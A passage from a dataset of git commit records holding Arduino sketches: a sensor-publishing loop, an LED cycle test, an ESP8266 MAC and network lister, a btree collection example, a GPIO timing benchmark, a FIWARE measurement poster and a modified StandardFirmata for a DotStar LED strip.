Serial.print(\"InfraRd:\\t\"); Serial.println(Si1132InfraRd);\n\n \/\/********************************************************************************\n \/\/********************************************************************************\n \/\/********************************************************************************\n\n Serial.print(\"RUSK --> Motion --> \"); Serial.println(readMotion());\n\n \/\/ display tab-separated accel x\/y\/z values\n Serial.print(\"AcclXYZ:\\t\");\n Serial.print(ax); Serial.print(\"\\t\");\n Serial.print(ay); Serial.print(\"\\t\");\n Serial.println(az);\n\n \/\/ display tab-separated gyro x\/y\/z values\n Serial.print(\"GyroXYZ:\\t\");\n Serial.print(gx); Serial.print(\"\\t\");\n Serial.print(gy); Serial.print(\"\\t\");\n Serial.println(gz);\n\n \/\/********************************************************************************\n \/\/********************************************************************************\n \/\/********************************************************************************\n\n Serial.println(\"RUSK --> Device --> Post Sensing Activities\");\n\n \/\/ run post sensing activity\n digitalWrite(LED, HIGH);\n postSensingVariableMap();\n postSensingEventPublish();\n digitalWrite(LED, LOW);\n\n \/\/********************************************************************************\n \/\/********************************************************************************\n \/\/********************************************************************************\n\n if (SLEEP_DELAY > 0)\n {\n \/\/ Power down sensors\n digitalWrite(I2CEN, LOW);\n digitalWrite(ALGEN, LOW);\n\n \/\/********************************************************************************\n \/\/********************************************************************************\n \/\/********************************************************************************\n\n Serial.print(\"RUSK --> Sleep --> \"); Serial.println(SLEEP_DELAY);\n Serial.print(\"RUSK --> Sleep --> \"); Serial.println(SLEEP_DELAY_STATUS);\n\n \/\/ publish sleep event\n Spark.publish(\"Sleep\", String(SLEEP_DELAY), SLEEP_DELAY, PRIVATE); delay(EVENTSDELAY);\n\n \/\/ run internal processes and invoke light sleep mode\n Spark.process();\n Spark.sleep(SLEEP_DELAY);\n }\n }\n else\n {\n if (WiFi.ready())\n {\n Spark.connect();\n }\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'rusk-r002.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a54c89b7181ac18ba0f4710fe1e7e3b90c6c17bb","subject":"Add cycle test sketch","message":"Add cycle test sketch\n","repos":"ralight\/multi-channel-orb","old_file":"code\/orb_cycle_test\/orb_cycle_test.ino","new_file":"code\/orb_cycle_test\/orb_cycle_test.ino","new_contents":"\/*\n Cycles through each LED of the orb\n 2011-10-05 <nick.oleary@gmail.com> \n http:\/\/opensource.org\/licenses\/mit-license.php\n*\/\n\n\n#define l1rm 0x80\n#define l1gm 0x40\n#define l1bm 0x20\n\n#define l2rm 0x01\n#define l2gm 0x02\n#define l2bm 0x04\n\n#define l3rm 0x08\n#define l3gm 0x10\n#define l3bm 0x20\n\n#define LEDA(r1,g1,b1) PORTD = (PORTD&0x03)|(r1*l1rm)|(g1*l1gm)|(b1*l1bm)\n#define LEDB(r2,g2,b2) PORTC = (PORTC&0xF8)|(r2*l2rm)|(g2*l2gm)|(b2*l2bm)\n#define LEDC(r3,g3,b3) PORTC = (PORTC&0xC7)|(r3*l3rm)|(g3*l3gm)|(b3*l3bm)\n\n\n\nvoid setup() {\n DDRD = DDRD | B11111100;\n DDRC = DDRC | B00111111;\n delay(1000);\n}\n\n\n\nvoid loop() {\n \n LEDA(HIGH,LOW,LOW);\n delay(500);\n LEDA(LOW,HIGH,LOW);\n delay(500);\n LEDA(LOW,LOW,HIGH);\n delay(500);\n LEDA(LOW,LOW,LOW);\n\n LEDB(HIGH,LOW,LOW);\n delay(500);\n LEDB(LOW,HIGH,LOW);\n delay(500);\n LEDB(LOW,LOW,HIGH);\n delay(500);\n LEDB(LOW,LOW,LOW);\n\n\n LEDC(HIGH,LOW,LOW);\n delay(500);\n LEDC(LOW,HIGH,LOW);\n delay(500);\n LEDC(LOW,LOW,HIGH);\n delay(500);\n LEDC(LOW,LOW,LOW);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/orb_cycle_test\/orb_cycle_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"35c2b808923a556bba3d0d612cffad1fede21f91","subject":"add sketch to get MAC address and list visible networks","message":"add sketch to get MAC address and list visible networks\n","repos":"wiredlab\/rfid-attendance,wiredlab\/rfid-attendance,wiredlab\/rfid-attendance","old_file":"code\/esp-scan\/esp-scan.ino","new_file":"code\/esp-scan\/esp-scan.ino","new_contents":"#include \"ESP8266WiFi.h\"\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println();\n\n WiFi.mode(WIFI_STA);\n WiFi.disconnect();\n delay(100);\n\n byte mac[6];\n WiFi.macAddress(mac);\n Serial.println(\"\");\n Serial.print(\"MAC: \");\n Serial.print(mac[0],HEX);\n Serial.print(\":\");\n Serial.print(mac[1],HEX);\n Serial.print(\":\");\n Serial.print(mac[2],HEX);\n Serial.print(\":\");\n Serial.print(mac[3],HEX);\n Serial.print(\":\");\n Serial.print(mac[4],HEX);\n Serial.print(\":\");\n Serial.println(mac[5],HEX);\n}\n\nvoid loop()\n{\n\n byte mac[6];\n WiFi.macAddress(mac);\n Serial.println(\"\");\n Serial.print(\"MAC: \");\n Serial.print(mac[0],HEX);\n Serial.print(\":\");\n Serial.print(mac[1],HEX);\n Serial.print(\":\");\n Serial.print(mac[2],HEX);\n Serial.print(\":\");\n Serial.print(mac[3],HEX);\n Serial.print(\":\");\n Serial.print(mac[4],HEX);\n Serial.print(\":\");\n Serial.println(mac[5],HEX);\n\n \n Serial.print(\"Scan start ... \");\n int n = WiFi.scanNetworks();\n Serial.print(n);\n Serial.println(\" network(s) found\");\n for (int i = 0; i < n; i++)\n {\n Serial.println(WiFi.SSID(i));\n }\n Serial.println();\n\n delay(5000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/esp-scan\/esp-scan.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e071e282d7eca8c1d216ae938a2640ad4aa70e30","subject":"#104 new example to show btree usage.","message":"#104 new example to show btree usage.\n","repos":"davetcc\/BasicIoAbstraction","old_file":"examples\/btreeCollection\/btreeCollection.ino","new_file":"examples\/btreeCollection\/btreeCollection.ino","new_contents":"\/**\n * This list is not designed to replace the collections in the standard library, it is a fairly light collection\n * that works across a very wide range of boards. It is the underpinnings of switches, and we use it the mbed\n * support too. So it is pretty much production ready.\n *\n * Here we create a class that we are going to store in the btree list, items in btree lists are ordered so\n * insertion is a little slow, but retrieval, even by key is very quick - Log(NumItems). It dynamically reallocates\n * if needed too, so there's no need in most cases to fiddle directly with the sizes.\n *\n * The only limitation of putting an item into the btree is that the method getKey() must be implemented by the type\n * that is stored. You can see the default sizes of the list and other parameters in file SimpleCollections.h for\n * advanced users.\n *\n * It is only designed to store small, simple class types that are not polymorphic, however, you can wrap a pointer\n * to a more dynamic class type if you needed too as a field of this class.\n *\n * Important note for advanced users: This list is not thread safe. If you use it within task manager only this is not\n * an issue, but if you use it elsewhere too, it must be protected by some kind of mutex or atomic block.\n *\/\n\n#include <TaskManagerIO.h>\n#include <SimpleCollections.h>\n\n\/\/\n\/\/ This is the type that we will store in our btree list, it will be stored indexed by it's key, and must implement\n\/\/ the getKey() method to return the key. In this type the key is an int.\n\/\/\nclass Book {\nprivate:\n int key;\n char name[20];\npublic:\n \/\/ You must include a default constructor that initialises the fields to empty, we store the actual\n \/\/ items in the internal array in an initially empty state.\n Book() {\n key = 0;\n name[0]=0;\n }\n\n \/\/ You must include a copy constructor that copies from an existing item. This is needed by the\n \/\/ collection to copy items into the internal array.\n Book(const Book& otherBook) {\n strncpy(name, otherBook.name, sizeof name);\n key = otherBook.key;\n };\n\n \/\/ And you'll probably need another constructor to initialise the fields for your own use.\n Book(int bookKey, const char* bookName) {\n strncpy(name, bookName, sizeof(name));\n key = bookKey;\n }\n\n \/\/ you must implement a method that returns the key field with this name, it must return the same type as the\n \/\/ key you specify for the list, (IE template parameter 1).\n int getKey() {\n return key;\n }\n\n \/\/ Just return the name we were given earlier\n const char* getName() {\n return name;\n }\n};\n\n\/\/\n\/\/ This is the declaration of the list, we declare it as a list of Book objects keyed using an int.\n\/\/\nBtreeList<int, Book> myList;\n\nvoid setup() {\n Serial.begin(115200);\n while(!Serial);\n\n myList.add(Book(3, \"All about Arduino\"));\n myList.add(Book(2, \"All about Xamarin\"));\n myList.add(Book(1, \"Record players\"));\n\n \/\/ This shows us the current list capacity, do not worry if it drops to a very low value as it\n \/\/ will reallocate automatically.\n Serial.print(\"Capacity is now \");\n Serial.println(myList.capacity());\n\n \/\/ Get the index that is CLOSEST to a provided key, it is important to note that it's not an exact match\n Serial.print(\"The nearest index to key 100 is \");\n Serial.println(myList.nearestLocation(100));\n\n \/\/ now every 10 seconds lets look for a book by it's ID\n taskManager.scheduleFixedRate(10, [] {\n auto book2 = myList.getByKey(2);\n if(book2 != nullptr) {\n Serial.print(\"Book 2 found: \");\n Serial.println(book2->getName());\n }\n else {\n Serial.println(\"Book 2 not found\");\n }\n }, TIME_SECONDS);\n\n \/\/ now every 15 seconds lets iterate all books in the collection\n taskManager.scheduleFixedRate(15, [] {\n for(bsize_t i = 0; i < myList.count(); ++i) {\n auto book = myList.itemAtIndex(i);\n Serial.print(book->getName());\n Serial.print(\", \");\n Serial.println(book->getKey());\n }\n }, TIME_SECONDS);\n\n \/\/ after a minute lets clean down the collection\n taskManager.scheduleOnce(60, [] {\n Serial.println(\"Now we will tear down the list\");\n myList.clear();\n }, TIME_SECONDS);\n}\n\nvoid loop() {\n taskManager.runLoop();\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/btreeCollection\/btreeCollection.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c8835326d683e851700e7e5c5f4fac669bff4965","subject":"Add gpio-comparison.ino","message":"Add gpio-comparison.ino\n","repos":"andrewadare\/arduino-201,andrewadare\/arduino-201","old_file":"examples\/gpio-comparison\/gpio-comparison.ino","new_file":"examples\/gpio-comparison\/gpio-comparison.ino","new_contents":"\/\/ Compare time taken by digitalRead vs. a direct AVR register read for the same pin.\n\n#define TEST_PIN 4 \/\/ PD4\n\nuint16_t start = 0, end = 0;\n\nvoid setup()\n{\n Serial.begin(115200);\n\n \/\/ Wait for serial port to connect\n while (!Serial) {}\n Serial.println();\n\n \/\/ Time 10k digitalRead calls\n start = micros();\n for (int i=0; i<10000; i++)\n {\n digitalRead(PD4);\n }\n end = micros();\n\n Serial.print(\"Time (us) for 10000 digitalRead calls: \");\n Serial.println(end - start); \/\/ 22640 us\n\n \/\/ Time 10k AVR PIND register reads\n start = micros();\n for (int i=0; i<10000; i++)\n {\n PIND & (1 << PD4); \/\/ AVR equivalent to digitalRead(4)\n }\n end = micros();\n\n Serial.print(\"Time (us) for 10000 AVR PIND register reads: \");\n Serial.println(end - start); \/\/ 3448 us\n\n pinMode(TEST_PIN, OUTPUT);\n \/\/ Time 10k digitalWrite calls\n start = micros();\n for (int i=0; i<10000; i++)\n {\n digitalWrite(TEST_PIN, HIGH);\n }\n end = micros();\n\n Serial.print(\"\\nTime (us) for 10000 digitalWrite calls: \");\n Serial.println(end - start); \/\/ 22640 us\n\n \/\/ Time 10k AVR PIND register writes\n start = micros();\n for (int i=0; i<10000; i++)\n {\n PORTD |= (1 << PD4); \/\/ AVR equivalent to digitalRead(4)\n }\n end = micros();\n\n Serial.print(\"Time (us) for 10000 AVR PIND register writes: \");\n Serial.println(end - start); \/\/ 3448 us\n}\n\nvoid loop()\n{\n \/\/ digitalWrite(TEST_PIN, !digitalRead(TEST_PIN)); \/\/ 56.58 kHz on scope\n PORTD ^= (1 << PD4); \/\/ 444.4 kHz on scope\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/gpio-comparison\/gpio-comparison.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5bd4cd2ef6772d0417b7591bd4bfd6fd7f75a3a1","subject":"Create edison2fiware.ino","message":"Create edison2fiware.ino","repos":"telefonicaid\/fiware-edison,telefonicaid\/fiware-edison,telefonicaid\/fiware-edison,telefonicaid\/fiware-edison","old_file":"arduino\/edison2fiware.ino","new_file":"arduino\/edison2fiware.ino","new_contents":"\/\/################# LIBRARIES ################\n #include <SPI.h>\n #include <WiFi.h>\n \n \/\/################# WIFI DETAILS #################\n char ssid[] = \"xxx\"; \/\/ your network SSID (name) \n char pass[] = \"xxx\"; \/\/ your network password (use for WPA, or use as key for WEP)\n int keyIndex = 0; \/\/ your network key Index number (needed only for WEP)\n int status = WL_IDLE_STATUS;\n \n \/\/################# NETWORK VARIABLES #################\n \/\/ Name of the server we want to connect to\n char server[] = \"test.ttcloud.net\";\n int port = 8082; \n WiFiClient client;\n \n \/\/################ FIWARE VARIABLES ################\n int value = 0;\n char alias[] = \"l\";\n \n \n void setup() \n { \n \/\/ put your setup code here, to run once:\n \/\/ initialize serial communications at 9600 bps:\n Serial.begin(9600); \n \n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n setupNetwork(); \n }\n\n \n void loop() \n {\n \/\/ read luminosity sensor value on analogic PIN 0\n readSensor();\n \/\/ send luminosity value to FIWARE IoT Stack\n postMeasure(alias, value);\n \/\/ wait 10s between measures\n delay(10000); \n \n \/\/ if the server's disconnected, stop the client:\n if (!client.connected()) {\n Serial.println();\n Serial.println(\"Disconnecting from wifi\");\n client.stop();\n } \n }\n \n \n void setupNetwork()\n { \n Serial.print(\"Configuring Network...\");\n \n \/\/ check for the presence of the shield:\n if (WiFi.status() == WL_NO_SHIELD) {\n Serial.println(\"WiFi shield not present\"); \n \/\/ don't continue:\n while(true);\n } \n \n String fv = WiFi.firmwareVersion();\n if( fv != \"1.1.0\" )\n Serial.println(\"Please upgrade the firmware\");\n \n \/\/ attempt to connect to Wifi network:\n while (status != WL_CONNECTED) { \n Serial.print(\"Attempting to connect to SSID: \");\n Serial.println(ssid);\n \/\/ Connect to WPA\/WPA2 network. Change this line if using open or WEP network: \n status = WiFi.begin(ssid, pass);\n \n \/\/ wait 10 seconds for connection:\n delay(10000);\n } \n Serial.println(\"Connected to wifi\");\n }\n\n\n void readSensor()\n {\n \/\/Attach the center pin of a potentiometer to pin A0, and the outside pins to +5V and ground.\n \/\/read the input on analog pin 0:\n value = analogRead(A0);\n }\n\n \n void postMeasure(char alias[],int value)\n {\n Serial.println(\"\\nStarting connection to server...\");\n \n \/\/ if you get a connection, report back via serial:\n if (client.connect(server, port)) {\n Serial.println(\"connected to server\");\n \/\/ Make a HTTP request:\n client.println(\"POST \/iot\/d?i=xxxx&k=xxxxx HTTP\/1.1\");\n client.println(\"Host: test.ttcloud.net:8082\");\n String body = String(alias)+\"|\"+String(value);\n client.println(\"Content-Length: \"+String(body.length()));\n client.println();\n client.println(body);\n }\n }\n \n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/edison2fiware.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"36af16d6f3de84a84adbc6cfdc1e17ab89358edd","subject":"Added modified version of StandardFirmata that uses the DotStar strip.","message":"Added modified version of StandardFirmata that uses the DotStar strip.\n","repos":"ricklon\/johnnyfivelab,ricklon\/johnnyfivelab,ricklon\/johnnyfivelab,ricklon\/johnnyfivelab","old_file":"arduino\/StandardFirmataChipKITSSPPII\/StandardFirmataChipKITSSPPII.ino","new_file":"arduino\/StandardFirmataChipKITSSPPII\/StandardFirmataChipKITSSPPII.ino","new_contents":"\/*\n Firmata is a generic protocol for communicating with microcontrollers\n from software on a host computer. It is intended to work with\n any host computer software package.\n\n To download a host software package, please clink on the following link\n to open the list of Firmata client libraries your default browser.\n\n https:\/\/github.com\/firmata\/arduino#firmata-client-libraries\n\n Copyright (C) 2006-2008 Hans-Christoph Steiner. All rights reserved.\n Copyright (C) 2010-2011 Paul Stoffregen. All rights reserved.\n Copyright (C) 2009 Shigeru Kobayashi. All rights reserved.\n Copyright (C) 2009-2015 Jeff Hoefs. All rights reserved.\n Copyright (C) 2015 Brian Schmalz. All rights reserved.\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n See file LICENSE.txt for further informations on licensing terms.\n\n Last updated by Brian Schmalz: August 9th, 2015\n*\/\n#include <SPI.h>\n#include <SoftPWMServo.h> \/\/ Gives us PWM and Servo on every pin\n#include <Wire.h>\n#include <Firmata.h>\n#include <Adafruit_DotStar.h>\n\n\n#define NUMPIXELS 30 \/\/ Number of LEDs in strip\n#define DATAPIN 4\n#define CLOCKPIN 5\n\n#define I2C_WRITE B00000000\n#define I2C_READ B00001000\n#define I2C_READ_CONTINUOUSLY B00010000\n#define I2C_STOP_READING B00011000\n#define I2C_READ_WRITE_MODE_MASK B00011000\n#define I2C_10BIT_ADDRESS_MODE_MASK B00100000\n#define I2C_MAX_QUERIES 8\n#define I2C_REGISTER_NOT_SPECIFIED -1\n\n\/\/ the minimum interval for sampling analog input\n#define MINIMUM_SAMPLING_INTERVAL 10\n\n\n\/*==============================================================================\n * GLOBAL VARIABLES\n *============================================================================*\/\n\/* apa102c rgb led strip *\/\nAdafruit_DotStar strip = Adafruit_DotStar(NUMPIXELS, DATAPIN, CLOCKPIN, DOTSTAR_BRG);\n\n\n\/* analog inputs *\/\nint analogInputsToReport = 0; \/\/ bitwise array to store pin reporting\n\n\/* digital input ports *\/\nbyte reportPINs[TOTAL_PORTS]; \/\/ 1 = report this port, 0 = silence\nbyte previousPINs[TOTAL_PORTS]; \/\/ previous 8 bits sent\n\n\/* pins configuration *\/\nbyte pinConfig[TOTAL_PINS]; \/\/ configuration of every pin\nbyte portConfigInputs[TOTAL_PORTS]; \/\/ each bit: 1 = pin in INPUT, 0 = anything else\nint pinState[TOTAL_PINS]; \/\/ any value that has been written\n\n\/* timer variables *\/\nunsigned long currentMillis; \/\/ store the current value from millis()\nunsigned long previousMillis; \/\/ for comparison with currentMillis\nunsigned int samplingInterval = 19; \/\/ how often to run the main loop (in ms)\n\n\/* i2c data *\/\nstruct i2c_device_info {\n byte addr;\n int reg;\n byte bytes;\n};\n\n\/* for i2c read continuous more *\/\ni2c_device_info query[I2C_MAX_QUERIES];\n\nbyte i2cRxData[32];\nboolean isI2CEnabled = false;\nsigned char queryIndex = -1;\n\/\/ default delay time between i2c read request and Wire.requestFrom()\nunsigned int i2cReadDelayTime = 0;\n\nSoftServo servos[MAX_SERVOS];\nbyte servoPinMap[TOTAL_PINS];\nbyte detachedServos[MAX_SERVOS];\nbyte detachedServoCount = 0;\nbyte servoCount = 0;\n\nboolean isResetting = false;\n\n\/* utility functions *\/\nvoid wireWrite(byte data)\n{\n#if ARDUINO >= 100\n Wire.write((byte)data);\n#else\n Wire.send(data);\n#endif\n}\n\nbyte wireRead(void)\n{\n#if ARDUINO >= 100\n return Wire.read();\n#else\n return Wire.receive();\n#endif\n}\n\n\/*==============================================================================\n * FUNCTIONS\n *============================================================================*\/\n\nvoid attachServo(byte pin, int minPulse, int maxPulse)\n{\n if (servoCount < MAX_SERVOS) {\n \/\/ reuse indexes of detached servos until all have been reallocated\n if (detachedServoCount > 0) {\n servoPinMap[pin] = detachedServos[detachedServoCount - 1];\n if (detachedServoCount > 0) detachedServoCount--;\n } else {\n servoPinMap[pin] = servoCount;\n servoCount++;\n }\n if (minPulse > 0 && maxPulse > 0) {\n servos[servoPinMap[pin]].attach(PIN_TO_DIGITAL(pin), minPulse, maxPulse);\n } else {\n servos[servoPinMap[pin]].attach(PIN_TO_DIGITAL(pin));\n }\n } else {\n Firmata.sendString(\"Max servos attached\");\n }\n}\n\nvoid detachServo(byte pin)\n{\n servos[servoPinMap[pin]].detach();\n \/\/ if we're detaching the last servo, decrement the count\n \/\/ otherwise store the index of the detached servo\n if (servoPinMap[pin] == servoCount && servoCount > 0) {\n servoCount--;\n } else if (servoCount > 0) {\n \/\/ keep track of detached servos because we want to reuse their indexes\n \/\/ before incrementing the count of attached servos\n detachedServoCount++;\n detachedServos[detachedServoCount - 1] = servoPinMap[pin];\n }\n\n servoPinMap[pin] = 255;\n}\n\nvoid readAndReportData(byte address, int theRegister, byte numBytes) {\n \/\/ allow I2C requests that don't require a register read\n \/\/ for example, some devices using an interrupt pin to signify new data available\n \/\/ do not always require the register read so upon interrupt you call Wire.requestFrom()\n if (theRegister != I2C_REGISTER_NOT_SPECIFIED) {\n Wire.beginTransmission(address);\n wireWrite((byte)theRegister);\n Wire.endTransmission();\n \/\/ do not set a value of 0\n if (i2cReadDelayTime > 0) {\n \/\/ delay is necessary for some devices such as WiiNunchuck\n delayMicroseconds(i2cReadDelayTime);\n }\n } else {\n theRegister = 0; \/\/ fill the register with a dummy value\n }\n\n Wire.requestFrom(address, numBytes); \/\/ all bytes are returned in requestFrom\n\n \/\/ check to be sure correct number of bytes were returned by slave\n if (numBytes < Wire.available()) {\n Firmata.sendString(\"I2C: Too many bytes received\");\n } else if (numBytes > Wire.available()) {\n Firmata.sendString(\"I2C: Too few bytes received\");\n }\n\n i2cRxData[0] = address;\n i2cRxData[1] = theRegister;\n\n for (int i = 0; i < numBytes && Wire.available(); i++) {\n i2cRxData[2 + i] = wireRead();\n }\n\n \/\/ send slave address, register and received bytes\n Firmata.sendSysex(SYSEX_I2C_REPLY, numBytes + 2, i2cRxData);\n}\n\nvoid outputPort(byte portNumber, byte portValue, byte forceSend)\n{\n \/\/ pins not configured as INPUT are cleared to zeros\n portValue = portValue & portConfigInputs[portNumber];\n \/\/ only send if the value is different than previously sent\n if (forceSend || previousPINs[portNumber] != portValue) {\n Firmata.sendDigitalPort(portNumber, portValue);\n previousPINs[portNumber] = portValue;\n }\n}\n\n\/* -----------------------------------------------------------------------------\n * check all the active digital inputs for change of state, then add any events\n * to the Serial output queue using Serial.print() *\/\nvoid checkDigitalInputs(void)\n{\n \/* Using non-looping code allows constants to be given to readPort().\n * The compiler will apply substantial optimizations if the inputs\n * to readPort() are compile-time constants. *\/\n if (TOTAL_PORTS > 0 && reportPINs[0]) outputPort(0, readPort(0, portConfigInputs[0]), false);\n if (TOTAL_PORTS > 1 && reportPINs[1]) outputPort(1, readPort(1, portConfigInputs[1]), false);\n if (TOTAL_PORTS > 2 && reportPINs[2]) outputPort(2, readPort(2, portConfigInputs[2]), false);\n if (TOTAL_PORTS > 3 && reportPINs[3]) outputPort(3, readPort(3, portConfigInputs[3]), false);\n if (TOTAL_PORTS > 4 && reportPINs[4]) outputPort(4, readPort(4, portConfigInputs[4]), false);\n if (TOTAL_PORTS > 5 && reportPINs[5]) outputPort(5, readPort(5, portConfigInputs[5]), false);\n if (TOTAL_PORTS > 6 && reportPINs[6]) outputPort(6, readPort(6, portConfigInputs[6]), false);\n if (TOTAL_PORTS > 7 && reportPINs[7]) outputPort(7, readPort(7, portConfigInputs[7]), false);\n if (TOTAL_PORTS > 8 && reportPINs[8]) outputPort(8, readPort(8, portConfigInputs[8]), false);\n if (TOTAL_PORTS > 9 && reportPINs[9]) outputPort(9, readPort(9, portConfigInputs[9]), false);\n if (TOTAL_PORTS > 10 && reportPINs[10]) outputPort(10, readPort(10, portConfigInputs[10]), false);\n if (TOTAL_PORTS > 11 && reportPINs[11]) outputPort(11, readPort(11, portConfigInputs[11]), false);\n if (TOTAL_PORTS > 12 && reportPINs[12]) outputPort(12, readPort(12, portConfigInputs[12]), false);\n if (TOTAL_PORTS > 13 && reportPINs[13]) outputPort(13, readPort(13, portConfigInputs[13]), false);\n if (TOTAL_PORTS > 14 && reportPINs[14]) outputPort(14, readPort(14, portConfigInputs[14]), false);\n if (TOTAL_PORTS > 15 && reportPINs[15]) outputPort(15, readPort(15, portConfigInputs[15]), false);\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/* Sets a pin that is in Servo mode to a particular output value\n * (i.e. pulse width). Different boards may have different ways of\n * setting servo values, so putting it in a function keeps things cleaner.\n *\/\nvoid servoWrite(byte pin, int value)\n{\n SoftPWMServoPWMWrite(PIN_TO_PWM(pin), value);\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/* sets the pin mode to the correct state and sets the relevant bits in the\n * two bit-arrays that track Digital I\/O and PWM status\n *\/\nvoid setPinModeCallback(byte pin, int mode)\n{\n if (pinConfig[pin] == IGNORE)\n return;\n\n if (pinConfig[pin] == I2C && isI2CEnabled && mode != I2C) {\n \/\/ disable i2c so pins can be used for other functions\n \/\/ the following if statements should reconfigure the pins properly\n disableI2CPins();\n }\n if (IS_PIN_DIGITAL(pin) && mode != SERVO) {\n if (servoPinMap[pin] < MAX_SERVOS && servos[servoPinMap[pin]].attached()) {\n detachServo(pin);\n }\n }\n if (IS_PIN_ANALOG(pin)) {\n reportAnalogCallback(PIN_TO_ANALOG(pin), mode == ANALOG ? 1 : 0); \/\/ turn on\/off reporting\n }\n if (IS_PIN_DIGITAL(pin)) {\n if (mode == INPUT) {\n portConfigInputs[pin \/ 8] |= (1 << (pin & 7));\n } else {\n portConfigInputs[pin \/ 8] &= ~(1 << (pin & 7));\n }\n }\n pinState[pin] = 0;\n switch (mode) {\n case ANALOG:\n if (IS_PIN_ANALOG(pin)) {\n if (IS_PIN_DIGITAL(pin)) {\n pinMode(PIN_TO_DIGITAL(pin), INPUT); \/\/ disable output driver\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable internal pull-ups\n }\n pinConfig[pin] = ANALOG;\n }\n break;\n case INPUT:\n if (IS_PIN_DIGITAL(pin)) {\n pinMode(PIN_TO_DIGITAL(pin), INPUT); \/\/ disable output driver\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable internal pull-ups\n pinConfig[pin] = INPUT;\n }\n break;\n case OUTPUT:\n if (IS_PIN_DIGITAL(pin)) {\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable PWM\n pinMode(PIN_TO_DIGITAL(pin), OUTPUT);\n pinConfig[pin] = OUTPUT;\n }\n break;\n case PWM:\n if (IS_PIN_PWM(pin)) {\n pinMode(PIN_TO_PWM(pin), OUTPUT);\n servoWrite(PIN_TO_PWM(pin), 0);\n pinConfig[pin] = PWM;\n }\n break;\n case SERVO:\n if (IS_PIN_DIGITAL(pin)) {\n pinConfig[pin] = SERVO;\n if (servoPinMap[pin] == 255 || !servos[servoPinMap[pin]].attached()) {\n \/\/ pass -1 for min and max pulse values to use default values set\n \/\/ by Servo library\n attachServo(pin, -1, -1);\n }\n }\n break;\n case I2C:\n if (IS_PIN_I2C(pin)) {\n \/\/ mark the pin as i2c\n \/\/ the user must call I2C_CONFIG to enable I2C for a device\n pinConfig[pin] = I2C;\n }\n break;\n default:\n Firmata.sendString(\"Unknown pin mode\"); \/\/ TODO: put error msgs in EEPROM\n }\n \/\/ TODO: save status to EEPROM here, if changed\n}\n\nvoid analogWriteCallback(byte pin, int value)\n{\n if (pin < TOTAL_PINS) {\n switch (pinConfig[pin]) {\n case SERVO:\n if (IS_PIN_DIGITAL(pin))\n servos[servoPinMap[pin]].write(value);\n pinState[pin] = value;\n break;\n case PWM:\n if (IS_PIN_PWM(pin))\n servoWrite(PIN_TO_PWM(pin), value);\n pinState[pin] = value;\n break;\n }\n }\n}\n\nvoid digitalWriteCallback(byte port, int value)\n{\n byte pin, lastPin, mask = 1, pinWriteMask = 0;\n\n if (port < TOTAL_PORTS) {\n \/\/ create a mask of the pins on this port that are writable.\n lastPin = port * 8 + 8;\n if (lastPin > TOTAL_PINS) lastPin = TOTAL_PINS;\n for (pin = port * 8; pin < lastPin; pin++) {\n \/\/ do not disturb non-digital pins (eg, Rx & Tx)\n if (IS_PIN_DIGITAL(pin)) {\n \/\/ only write to OUTPUT and INPUT (enables pullup)\n \/\/ do not touch pins in PWM, ANALOG, SERVO or other modes\n if (pinConfig[pin] == OUTPUT || pinConfig[pin] == INPUT) {\n pinWriteMask |= mask;\n pinState[pin] = ((byte)value & mask) ? 1 : 0;\n }\n }\n mask = mask << 1;\n }\n writePort(port, (byte)value, pinWriteMask);\n }\n}\n\n\n\/\/ -----------------------------------------------------------------------------\n\/* sets bits in a bit array (int) to toggle the reporting of the analogIns\n *\/\n\/\/void FirmataClass::setAnalogPinReporting(byte pin, byte state) {\n\/\/}\nvoid reportAnalogCallback(byte analogPin, int value)\n{\n if (analogPin < TOTAL_ANALOG_PINS) {\n if (value == 0) {\n analogInputsToReport = analogInputsToReport & ~ (1 << analogPin);\n } else {\n analogInputsToReport = analogInputsToReport | (1 << analogPin);\n \/\/ prevent during system reset or all analog pin values will be reported\n \/\/ which may report noise for unconnected analog pins\n if (!isResetting) {\n \/\/ Send pin value immediately. This is helpful when connected via\n \/\/ ethernet, wi-fi or bluetooth so pin states can be known upon\n \/\/ reconnecting.\n Firmata.sendAnalog(analogPin, analogRead(analogPin));\n }\n }\n }\n \/\/ TODO: save status to EEPROM here, if changed\n}\n\nvoid reportDigitalCallback(byte port, int value)\n{\n if (port < TOTAL_PORTS) {\n reportPINs[port] = (byte)value;\n \/\/ Send port value immediately. This is helpful when connected via\n \/\/ ethernet, wi-fi or bluetooth so pin states can be known upon\n \/\/ reconnecting.\n if (value) outputPort(port, readPort(port, portConfigInputs[port]), true);\n }\n \/\/ do not disable analog reporting on these 8 pins, to allow some\n \/\/ pins used for digital, others analog. Instead, allow both types\n \/\/ of reporting to be enabled, but check if the pin is configured\n \/\/ as analog when sampling the analog inputs. Likewise, while\n \/\/ scanning digital pins, portConfigInputs will mask off values from any\n \/\/ pins configured as analog\n}\n\n\/*==============================================================================\n * SYSEX-BASED commands\n *============================================================================*\/\n\nvoid sysexCallback(byte command, byte argc, byte *argv)\n{\n byte mode;\n byte slaveAddress;\n byte data;\n int slaveRegister;\n unsigned int delayTime;\n\n switch (command) {\n case I2C_REQUEST:\n mode = argv[1] & I2C_READ_WRITE_MODE_MASK;\n if (argv[1] & I2C_10BIT_ADDRESS_MODE_MASK) 